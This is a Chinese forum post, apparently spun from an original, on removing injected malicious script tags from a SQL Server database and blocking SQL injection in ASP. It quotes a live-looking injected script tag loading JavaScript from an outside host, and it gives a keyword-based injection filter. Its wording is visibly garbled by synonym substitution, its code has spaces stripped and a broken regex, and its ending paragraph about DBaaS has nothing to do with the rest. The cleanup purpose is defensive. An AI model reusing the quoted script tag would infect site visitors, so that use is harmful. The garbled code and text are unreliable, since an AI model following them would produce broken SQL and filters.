|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
有的时候,一些缺失的功能可以通过别的办法来实现,例如,在MySQL4.1以前,你可以通过使用join方法来替代子查询的功能。在MySQL5.0中,大多数关系型数据库所要求的功能已经都具备。起首备份数据库,以防不用要的丧失。尔后对一切被挂马的小于8000字符的varchar字段实行
复制代码代码以下:
update表名set字段名=replace(字段名,<ScriptSrc=http://c.n%75clear3.com/CSS/c.js></Script>,)
个中<ScriptSrc=http://c.n%75clear3.com/css/c.js></Script>为挂马字段。实行后挂马字段被扫除。可是有部分字段,好比内容字段等年夜于8000字符的varchar字段则必要实行
复制代码代码以下:
update表名set表项=replace(cast(表项asvarchar(8000)),<ScriptSrc=http:/c.nuclear3.com/css/c.js></Script>,)
来更新被挂马字段,而房产网因为内容对照多,实行以上语句的时分会产生假逝世征象,因而加个区间分两次举行,一次处置15000条得以办理。
复制代码代码以下:
update表名set表项=replace(cast(表项asvarchar(8000)),<ScriptSrc=http:/c.nuclear3.com/css/c.js></Script>,)whereid>1andid<15000
以上被挂马成绩一样平常都是sql数据库,这是sql数据库独有的注进毛病。换数据库不实际,只能针对以下情况举行提防。思绪就是在一切数据库链接哀求那边做响应的过滤。
复制代码代码以下:
<%
Response.Buffer=True缓存页面
提防get注进
IfRequest.QueryString""ThenStopInjection(Request.QueryString)
提防post注进
IfRequest.Form""ThenStopInjection(Request.Form)
提防cookies注进
IfRequest.Cookies""ThenStopInjection(Request.Cookies)
正则子函数
FunctionStopInjection(Values)
DimregEx
SetregEx=NewRegExp
regEx.IgnoreCase=True
regEx.Global=True
regEx.Pattern=";#([s+()]+(selectupdateinsertdeletedeclare@execdbccalterdropcreatebackupifelseendandoraddsetopencloseusebeginretunasgoexists)[s+]*)"
DimsItem,sValue
ForEachsItemInValues
sValue=Values(sItem)
IfregEx.Test(sValue)Then
Response.Write"<ScriptLanguage=javascript>alert(不法注进!你的举动已被纪录!!);history.back(-1);</Script>"
Response.End
EndIf
Next
SetregEx=Nothing
Endfunction
%>
做一个通用的sql防注进页面,把它包括在conn.asp数据库毗连语句里边,如许就完成了全站的提防sql注进的打击了。可是前台的相似?id=如许的语句仍是存在注进毛病,必要我们严厉过滤request.form和request.querystring猎取的内容。坚定不必request("name")如许的体例猎取值,但凡接纳cookies保留的内容,只管不要用在sql语句里举行查询数据库操纵。
假如不熟习sqlserver的伴侣能够用软件来完成
sqlserver数据库批量交换工具(数据库及文本文件查找交换)v1.0中文绿色版
SQLServer数据库批量查找交换工具1.2SQL木马扫除助手
DBaaS系统本身并不提供面对面访问或个人客户关系或持续不断的支持MySQL学习教程。这些就是需要解决方案提供商的原因。他们帮助客户选择正确的解决方案、规划集成和迁移战略,然后协助实施。 |
|